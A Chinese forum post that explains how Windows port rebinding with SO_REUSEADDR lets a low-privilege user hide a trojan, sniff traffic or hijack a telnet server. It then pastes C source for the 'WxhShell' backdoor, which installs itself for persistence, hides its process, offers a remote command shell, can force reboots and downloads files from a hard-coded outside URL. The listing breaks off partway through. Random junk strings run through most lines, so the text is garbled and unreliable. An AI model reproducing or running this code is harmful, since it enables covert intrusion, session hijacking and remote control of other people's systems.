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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $?kTS1I(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^v;8 (eF  
T`v  
  saddr.sin_family = AF_INET; hZ<FCY,/?  
A;C4>U Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C&d,|e "\  
,bzgjw+R5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0[g5[?Vy  
^|rzqXW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9Y# vKb{>  
:WH0=Bieh  
  这意味着什么?意味着可以进行如下的攻击: w{;bvq%lY  
2V9"{F?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !h1|B7N  
=hh,yi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @&G %cW(  
q,Nqv[va  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GZ:1bV37%  
Vz,"vBds  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pDr/8HEh  
9WoTo ,q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J{uqbrJICr  
"el3mloR 8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %kBrxf  
v%c--cO(S4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]a~gnz&1  
"NSY=)fV  
  #include 0R+<^6^l)  
  #include P)=$0kR3  
  #include =snJ+yn!  
  #include    !qs~j=;y3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QA!'p1{#  
  int main() M|z4Dy  
  { .0y .0=l  
  WORD wVersionRequested; x*^)B~7}  
  DWORD ret; 1G,'  
  WSADATA wsaData; A sf]sU..  
  BOOL val; N':d T  
  SOCKADDR_IN saddr; c&L|e$C]  
  SOCKADDR_IN scaddr; +{ e2TY  
  int err; b Oh[(O!  
  SOCKET s; jvE&%|Ngw  
  SOCKET sc; Xdf;'|HO  
  int caddsize; %8% 0l*n'  
  HANDLE mt; _32 o7}!x  
  DWORD tid;   ;ahI}}  
  wVersionRequested = MAKEWORD( 2, 2 ); JHVesX  
  err = WSAStartup( wVersionRequested, &wsaData ); olDzmy(=W*  
  if ( err != 0 ) { 9qJ:h-?M  
  printf("error!WSAStartup failed!\n"); &ujq6~#  
  return -1; )!`>Q|]}Zd  
  } 6O'B:5~[2  
  saddr.sin_family = AF_INET; eNt1P`2[  
   LCpS}L;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ln96*)M;  
P.t7_v>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x5W@zqj  
  saddr.sin_port = htons(23); /$ueLa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  D z>7.'3  
  { 7LW %:0  
  printf("error!socket failed!\n"); $xj>j  
  return -1; v.H@Ey2  
  } hKK"D:?PRs  
  val = TRUE; o:/yme G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K&vqk/JW1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %LdFS~  
  { yD&UH_ 1g  
  printf("error!setsockopt failed!\n"); AUkePp78  
  return -1; f'M7x6W  
  } 3:P "6mN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G?yG|5.pU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1FEY&rpR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s\1c.  
+Xr87x;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EtvYIfemr  
  { ^pa -2Ao6  
  ret=GetLastError(); K06&.>v_  
  printf("error!bind failed!\n"); PHn3f;I  
  return -1; o{ \r1<D  
  } KA0_uty/T  
  listen(s,2); uQg&A`4  
  while(1) cLnvb!g'#  
  { h)C `w'L  
  caddsize = sizeof(scaddr); OOX}S1lA  
  //接受连接请求 Q pbzx/2h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wp$'#HhB  
  if(sc!=INVALID_SOCKET) 3HmJixy  
  { SE!0f&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m&r?z%  
  if(mt==NULL) [mI;>q  
  { 0j|JyS:}G  
  printf("Thread Creat Failed!\n"); 7j L.\O  
  break; Uu3<S  
  } DWRq \`P  
  } l+8G6?@]>  
  CloseHandle(mt); y]ZujfW7  
  } .EoLJHL }  
  closesocket(s); vwQ6=  
  WSACleanup(); 7~Md6.FtM  
  return 0; "*aL(R  
  }   dD8f`*"*=  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~~'UQnUN4  
  { zc#aQ.  
  SOCKET ss = (SOCKET)lpParam; >) PcK  
  SOCKET sc; ;O7<lF\7o  
  unsigned char buf[4096]; 9i+SU|;j  
  SOCKADDR_IN saddr; <O?UC/$)7  
  long num; H-.8{8  
  DWORD val; 4#y  
  DWORD ret; :vJ0Ypz-u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <jvSV5%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $]yHk  
  saddr.sin_family = AF_INET; 'hi.$G_R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =m?x|Zc_v  
  saddr.sin_port = htons(23); 9 nPc>O$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^.@BD4/RPt  
  { As7Y4w*+  
  printf("error!socket failed!\n"); mN:p=.& <  
  return -1; RK`C31Ws  
  } ?N*|S)BN  
  val = 100; r8E)GBH-|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AR-&c 3o  
  { Xy(o0/7F9  
  ret = GetLastError(); #2023Zo]  
  return -1; wfxg@<WR  
  } Z>H y+Q4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \{ui{8+G  
  { nZ 0rxx[V?  
  ret = GetLastError(); wd`lN,WiW  
  return -1; !4f0VQI  
  } l4sFT)}-J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) do1aH$Iw  
  { 2= 6}! Y  
  printf("error!socket connect failed!\n"); ]dKLzW:l  
  closesocket(sc); ' 4nR^,  
  closesocket(ss); o4"7i 9+g  
  return -1; M1/Rba Q  
  } q-fxs8+m|  
  while(1) t:G67^<3  
  { C"P40VQoo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,:QzF"MV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (ft8,^=4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >wpC45n)9N  
  num = recv(ss,buf,4096,0); f|f9[h'  
  if(num>0) j[fVF3v  
  send(sc,buf,num,0); QM }TPE  
  else if(num==0) 9_z u*  
  break; ,5_Hen=PI  
  num = recv(sc,buf,4096,0); 5@6%/='I q  
  if(num>0) ./009p  
  send(ss,buf,num,0); {\Eqo4A5}  
  else if(num==0) ul$^]ZWkI  
  break; <Yk#MeiEp  
  } <y}`PmIM I  
  closesocket(ss); L+&eY?A  
  closesocket(sc); OXs-gC{b  
  return 0 ; 0]c 2T  
  } s3*h=5bX=  
W~J>Srt  
x05yU  
==========================================================  H)),~<s  
m\88Etl@  
下边附上一个代码,,WXhSHELL o#-K,|-  
+d0&(b  
========================================================== \WnI&nu  
w34&m  
#include "stdafx.h" `H5n _km  
",c(cYVW  
#include <stdio.h> cboue LEt  
#include <string.h> w>:~Ev]  
#include <windows.h> ]e'Ol$3U9=  
#include <winsock2.h> MHv2r  
#include <winsvc.h> S'NZb!1+  
#include <urlmon.h> \)=X=yn2  
yk4Huq&2  
#pragma comment (lib, "Ws2_32.lib") J3oj}M*  
#pragma comment (lib, "urlmon.lib") uj_ OWre  
9nFPGIz+  
#define MAX_USER   100 // 最大客户端连接数 v(? ^#C>6W  
#define BUF_SOCK   200 // sock buffer ,iXE3TN;W  
#define KEY_BUFF   255 // 输入 buffer C w<bu|?  
$DmWK_A  
#define REBOOT     0   // 重启 <Q06<{]R8  
#define SHUTDOWN   1   // 关机 8$:4~:]/  
/Ot=GhN]  
#define DEF_PORT   5000 // 监听端口 u.t(78N  
R$<LEwjSw  
#define REG_LEN     16   // 注册表键长度 8,BNs5  
#define SVC_LEN     80   // NT服务名长度 _yq"F#,*  
:h1-i  
// 从dll定义API >;N0( xB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3le/(=&1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ng?n}$g*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EROf%oaz=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T [ `t?,  
em  
// wxhshell配置信息 &wbe^Wp  
struct WSCFG { 7-"ml\z  
  int ws_port;         // 监听端口 fA!uSqR$V  
  char ws_passstr[REG_LEN]; // 口令 jlV~-}QKb7  
  int ws_autoins;       // 安装标记, 1=yes 0=no h2 2-v X  
  char ws_regname[REG_LEN]; // 注册表键名 0f).F  
  char ws_svcname[REG_LEN]; // 服务名 $= '_$wG 8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 36154*q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N#-P}\Q9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;?>xuC$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x[+t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #2thg{5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vx5ioA]{  
Iz/o|o]#  
}; 8}3dwr;-  
c7mIwMhl~  
// default Wxhshell configuration X'4g\)*  
struct WSCFG wscfg={DEF_PORT, / c1=`OJ  
    "xuhuanlingzhe", aVI/x5p~  
    1, zPp?D_t  
    "Wxhshell", *]Nd I  
    "Wxhshell", +'9l 2DI;  
            "WxhShell Service", q<L>r?T[  
    "Wrsky Windows CmdShell Service", Ht UFl  
    "Please Input Your Password: ", };[~>Mzl  
  1, DGl_SMJb  
  "http://www.wrsky.com/wxhshell.exe", TSHsEcfO  
  "Wxhshell.exe" cD&53FPXC  
    }; B w1ir  
TFbMrIF  
// 消息定义模块 eHCLENLmB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jTbJL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _RT3Fk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *ip2|2G$  
char *msg_ws_ext="\n\rExit."; 8=rD'*  
char *msg_ws_end="\n\rQuit."; e_Na_l]  
char *msg_ws_boot="\n\rReboot..."; 3 8>?Z ]V  
char *msg_ws_poff="\n\rShutdown..."; X/  
char *msg_ws_down="\n\rSave to "; 1ID0'j$  
7mipj]  
char *msg_ws_err="\n\rErr!"; ]sBSLEie '  
char *msg_ws_ok="\n\rOK!"; v\>!J?  
tG(#&54  
char ExeFile[MAX_PATH]; h:iK;  
int nUser = 0; hnM?wn  
HANDLE handles[MAX_USER]; XK[cbVu  
int OsIsNt; zKr\S |yE  
Hi$J@xU  
SERVICE_STATUS       serviceStatus; A;nrr1-0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5mwtlC':l?  
5[.Dlpa'7  
// 函数声明 F-?K]t#  
int Install(void); iUl5yq  
int Uninstall(void); $Hcp.J[O  
int DownloadFile(char *sURL, SOCKET wsh); 8W$uw~|dw  
int Boot(int flag); tMxa:h;/x  
void HideProc(void);  -1Acprr  
int GetOsVer(void); 3n;UXYJ%  
int Wxhshell(SOCKET wsl); w%jc' ;|  
void TalkWithClient(void *cs); .i[rd4MCK  
int CmdShell(SOCKET sock); lP*_dt9  
int StartFromService(void); [5 Mt,skC:  
int StartWxhshell(LPSTR lpCmdLine); HS3] 8nJW  
bD_|n!3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tw BwqQ)t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BsV2Q`(gT  
km1{Oh  
// 数据结构和表定义 QR<z%4  
SERVICE_TABLE_ENTRY DispatchTable[] = }gQ FWT  
{ Xx_ v>Jn!  
{wscfg.ws_svcname, NTServiceMain}, J%d\ 7  
{NULL, NULL} BdcTKC  
}; _5'OQ'P2  
g 4,>cqRkq  
// 自我安装 (uV ~1  
int Install(void) GxWA=Xp^~G  
{ W]kh?+SZ  
  char svExeFile[MAX_PATH]; FB {4& ;  
  HKEY key; ".jY3<bQg  
  strcpy(svExeFile,ExeFile); r`5[6)+P  
+L_!$"I  
// 如果是win9x系统,修改注册表设为自启动 [)V&$~xW  
if(!OsIsNt) { qdoJIP{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d;` bX+K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iM;7V*u  
  RegCloseKey(key); WZq0$:I;R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IXYSZ)z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bF:]MB^VK  
  RegCloseKey(key); |=H*" (  
  return 0; cI)T@Zg_o+  
    } \ .H X7v  
  } <}S1ZEZcQ  
} / /63?s+  
else { 1:]iV}OFqR  
`2X~3im  
// 如果是NT以上系统,安装为系统服务 c e`3&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qMT7g LB'1  
if (schSCManager!=0) 5MsE oLg  
{ K7 >Z)21  
  SC_HANDLE schService = CreateService E6(OEC%,  
  ( 16"eyt>  
  schSCManager, ]Igd<  
  wscfg.ws_svcname, C2RR(n=N^  
  wscfg.ws_svcdisp, :7&#ej6  
  SERVICE_ALL_ACCESS, "YbvI@pD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eekp&H$'s  
  SERVICE_AUTO_START, .a._WZF  
  SERVICE_ERROR_NORMAL, ^E_`M:~  
  svExeFile, RUHQ]@d#T  
  NULL, R*~<?}Rr  
  NULL, b~?FV>gl  
  NULL, u/?s_OR  
  NULL, :A%|'HxH3  
  NULL G0p|44_~t  
  ); |0 #J=am  
  if (schService!=0) [ iE%P^  
  { !~5;Jb>s[/  
  CloseServiceHandle(schService); &6%%_Lw$  
  CloseServiceHandle(schSCManager); 1 FTxbw@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =C{)i@ +  
  strcat(svExeFile,wscfg.ws_svcname); _^cDB1I ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 49b#$Xq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &|('z\k  
  RegCloseKey(key); 6u>${}  
  return 0; bQG2tDvu[  
    } D 3m4:z  
  } .{+<o  
  CloseServiceHandle(schSCManager); &oJ=   
} KKm &~^c  
} wYnsd7@I  
4$Oakl*l  
return 1; m89-rR:Kc  
} uJ jm50R<  
h=6Zvf<x  
// 自我卸载 ;ru=z@  
int Uninstall(void) f\+MnZ4[Qj  
{ iB#xUSkS  
  HKEY key; dL%?k@R  
R$( FrbC  
if(!OsIsNt) { SP][xdN7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UFnz3vc  
  RegDeleteValue(key,wscfg.ws_regname); Hts.G~~8  
  RegCloseKey(key); ,$irJz F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rlSar$  
  RegDeleteValue(key,wscfg.ws_regname); TJS/O~=  
  RegCloseKey(key); Zt: .+.dV  
  return 0; lUWX[,  
  } |^jl^oW  
} #" {wm  
} gMe)\5`\Y  
else { {E *dDv  
$$7Mq*a>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c@d[HstBJ  
if (schSCManager!=0) r\J"|{)e  
{ rEwEdyK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5S4kn.3  
  if (schService!=0) O>]I!n`!!A  
  { [DS.@97n  
  if(DeleteService(schService)!=0) { * SH5p  
  CloseServiceHandle(schService); Ua^#.K  
  CloseServiceHandle(schSCManager); hl`4_`3y  
  return 0; SV%;w>  
  }  ;0G+>&C8  
  CloseServiceHandle(schService); &,B\ig1Jf  
  } )xgOl*D  
  CloseServiceHandle(schSCManager); jd<`W  
} !1 :%!7  
} QcBuUFf!c  
px6[1'|g  
return 1; 6Y4sv5G  
} $10"lM[  
rro92(y  
// 从指定url下载文件 S?pWxHR]  
int DownloadFile(char *sURL, SOCKET wsh) olc7&R  
{ 0mcZe5RS  
  HRESULT hr; /NvHM$5O%  
char seps[]= "/"; z~b5K\/1B  
char *token; ^IgxzGD  
char *file; A1Tk6i<F1  
char myURL[MAX_PATH]; eUP.:(E  
char myFILE[MAX_PATH]; nrqr p  
F_>OpT  
strcpy(myURL,sURL); cMxuG'{=.  
  token=strtok(myURL,seps); OwhMtYq  
  while(token!=NULL) R42+^'af  
  { *?sdWRbu}l  
    file=token; DC?U +  
  token=strtok(NULL,seps); u#9H  
  } tkT:5O6  
zN2CI6  
GetCurrentDirectory(MAX_PATH,myFILE); ~qFuS933  
strcat(myFILE, "\\"); gaFOm9y.e  
strcat(myFILE, file); ?N*m2rv  
  send(wsh,myFILE,strlen(myFILE),0); E= 3Ui  
send(wsh,"...",3,0); -/ 5" Py  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l":\@rm`  
  if(hr==S_OK) M<h2+0(il  
return 0; fTb&k;'LR<  
else #mhR^60,  
return 1; "+SnHpNx  
[D/q  
} `M0m`Up  
?` ?HqR0  
// 系统电源模块 H@ab]&  
int Boot(int flag) |~)!8N.{  
{ sw<GlF"  
  HANDLE hToken; R_? Q`+X  
  TOKEN_PRIVILEGES tkp; ]w7wwU^^*U  
R@ksYC3 F  
  if(OsIsNt) { l/WQqT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u7Z-kZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3zC<k2B  
    tkp.PrivilegeCount = 1; p'SclH[   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~kHWh8\b:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0?@;zTE0  
if(flag==REBOOT) { bH 6i1c8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ScN'|Ia.-  
  return 0; &lnr?y^  
} ck0K^o v  
else { FU]jI[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p./9^S  
  return 0; ngmHiI W  
} ,3+#?H  
  } HLYog+?  
  else {  .7GTL  
if(flag==REBOOT) { .J?cV;:`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V{qpha4'P  
  return 0; 94uAt&&b(  
} },r9f MJ  
else { _x+)Tv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;ZOu-B]q  
  return 0; xWC*DKV  
} `MD%VHQ9U  
} +!"GYPUXy  
0oT~6BGm  
return 1; a!?JVhD&  
} 0Y|"Bo9k  
tfz"9PV80  
// win9x进程隐藏模块 mz-sazgV  
void HideProc(void) _!qi`A  
{ :v$][jZ2  
$"e$#<g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5t=7-  
  if ( hKernel != NULL ) msf%i!  
  { t%S2D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7XM:4whw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;W~H|M  
    FreeLibrary(hKernel); luvxwved  
  } $kAal26z  
3Gk\3iU!  
return; Z'!Ii+'6  
} pB(|Y]3A  
=lb5 #  
// 获取操作系统版本 a_z1S Z2[  
int GetOsVer(void) 4:zyZu3fm  
{ rq(9w*MW:  
  OSVERSIONINFO winfo; bukdyo;l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s:/Wz39SY3  
  GetVersionEx(&winfo); #[odjSb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $j(laD#AR  
  return 1; }.L:(z^L,Y  
  else m#Y[EPF=|  
  return 0; #MyF 1E  
} 8wH1x .  
^n%9Tu  
// 客户端句柄模块 &s0_^5B0  
int Wxhshell(SOCKET wsl) ka c-@  
{ i;l0)q  
  SOCKET wsh; /#Gm`BT  
  struct sockaddr_in client; 5K#<VU*:  
  DWORD myID; )\PPIY>iP  
qk}Mb_*C)  
  while(nUser<MAX_USER) ']C" 'b  
{ D~Rv"Hh  
  int nSize=sizeof(client); Tebu?bj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `ElJL{Rn  
  if(wsh==INVALID_SOCKET) return 1; ,DIr&5>p2  
[wkSY>Gu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q.:j yj6  
if(handles[nUser]==0) *KYh_i  
  closesocket(wsh); uY;7&Lw y1  
else )u?^w  
  nUser++; cgV5{|P  
  } 1lLXu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -IE=?23Do?  
"2_nN]%u-  
  return 0; %|(Cb!ySX  
} UA3!28Y&E3  
qZ<|A%WQ  
// 关闭 socket a/Ik^:>m  
void CloseIt(SOCKET wsh) Nm{J=`  
{ -Pp =)_O  
closesocket(wsh); :"Gd;~p.  
nUser--; Sp-M:,H3H  
ExitThread(0); U6IvN@ g  
} [M#I Nm}  
*|B5,Ey  
// 客户端请求句柄 gR 76g4|=;  
void TalkWithClient(void *cs) u OB`A-K  
{ W<\*5oB%H  
X,`^z,M%I  
  SOCKET wsh=(SOCKET)cs;  __Egr@  
  char pwd[SVC_LEN]; gg?O0W{  
  char cmd[KEY_BUFF]; LZ4Z]!V  
char chr[1]; _]Y9Eoz  
int i,j; vSv:!5*  
f>[!Zi*  
  while (nUser < MAX_USER) { '>Uip+'  
Hdda/?{b  
if(wscfg.ws_passstr) { zlhU[J}"1|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }>yQ!3/i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 92D :!C  
  //ZeroMemory(pwd,KEY_BUFF); lEC91:Jyt  
      i=0; Ih_=yk  
  while(i<SVC_LEN) { - (VX+XHW  
]L;X Aj?  
  // 设置超时 4"et4Y7  
  fd_set FdRead; 9Itj@ps  
  struct timeval TimeOut; 7e/K YS+!s  
  FD_ZERO(&FdRead); rPx:o}&<  
  FD_SET(wsh,&FdRead); oTb4T=  
  TimeOut.tv_sec=8; f-5}`)`.+  
  TimeOut.tv_usec=0; yv(\5)XF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H|8i|vbi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GmdS~Fhp  
ia*Bcx_RW+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h,x'-]q  
  pwd=chr[0]; O[5u6heNMr  
  if(chr[0]==0xd || chr[0]==0xa) { JL=s=9N;3  
  pwd=0; 8z`Ne(h;  
  break; A)HV#T`N  
  } ;@/vKA3l.  
  i++; iu+rg(*%  
    } D8=a+!l-  
PS/00F/Ak  
  // 如果是非法用户,关闭 socket FQBAt0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ J6q(} f  
} 4*?JU v  
9t"/@CH{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NaC}KI`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %-O[%Dy  
~+anI  
while(1) { gPY Cw?zQ  
/rzZU}3[  
  ZeroMemory(cmd,KEY_BUFF); BE,H`G #h  
sSsRn*LN-:  
      // 自动支持客户端 telnet标准   A08{]E#v>  
  j=0; m ol|E={si  
  while(j<KEY_BUFF) { 9D H}6fO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R zn%!d^$>  
  cmd[j]=chr[0]; !^IAn  
  if(chr[0]==0xa || chr[0]==0xd) { x`Ik747^v  
  cmd[j]=0; o]WG8Mo-  
  break; X@^"@  
  } N6uKFQL:{  
  j++; 4L/8Hj#g  
    } (E<QA  
k(R&`  
  // 下载文件 3sz?49tX  
  if(strstr(cmd,"http://")) {  &DX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i4\m/&of3y  
  if(DownloadFile(cmd,wsh)) [8rl{~9E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y5\=5r/  
  else &BkdC,o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Y<RG"]a&J  
  } nhI1`l&  
  else { UO8./%'  
[ |dQZ  
    switch(cmd[0]) { .Eg[[K_iD  
  &/{x7;e  
  // 帮助 1ZRSeh  
  case '?': { ['\ u?m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PP!} w  
    break; mqKr+  
  } ZfSAXr "(  
  // 安装 Q+=D#x  
  case 'i': { -:  8[  
    if(Install()) gs9VCaIa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}? q  
    else A"no!AN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JTfG^Nv>K  
    break; dx[kG  
    }  FA#8  
  // 卸载 .+2@(r  
  case 'r': { cP &XkAQ  
    if(Uninstall()) { , zg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&U! g&  
    else [B"CNnA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WoX,F1o  
    break; ~JSa]6:_+  
    } 1xt N3{c  
  // 显示 wxhshell 所在路径 <|c[ #f  
  case 'p': { r^$WX@ t&  
    char svExeFile[MAX_PATH]; $ZfoJR]%  
    strcpy(svExeFile,"\n\r"); RMO6kbfP  
      strcat(svExeFile,ExeFile); %N0cp@Vz  
        send(wsh,svExeFile,strlen(svExeFile),0); 0Lki (  
    break; Wz-7oP%;I  
    } 'qnnZE  
  // 重启 -40OS=wpA  
  case 'b': { -8D$[@y(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =3<@{^Eg  
    if(Boot(REBOOT)) N[8y+2SZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [" nDw<U  
    else { ?R\:6x<  
    closesocket(wsh); dT4e[4l  
    ExitThread(0); Sp^jC Xu  
    } iTg7@%  
    break; ) \|Bghui  
    } F]7$Y  
  // 关机 (H-Y-Lk+  
  case 'd': { \ws^L, h  
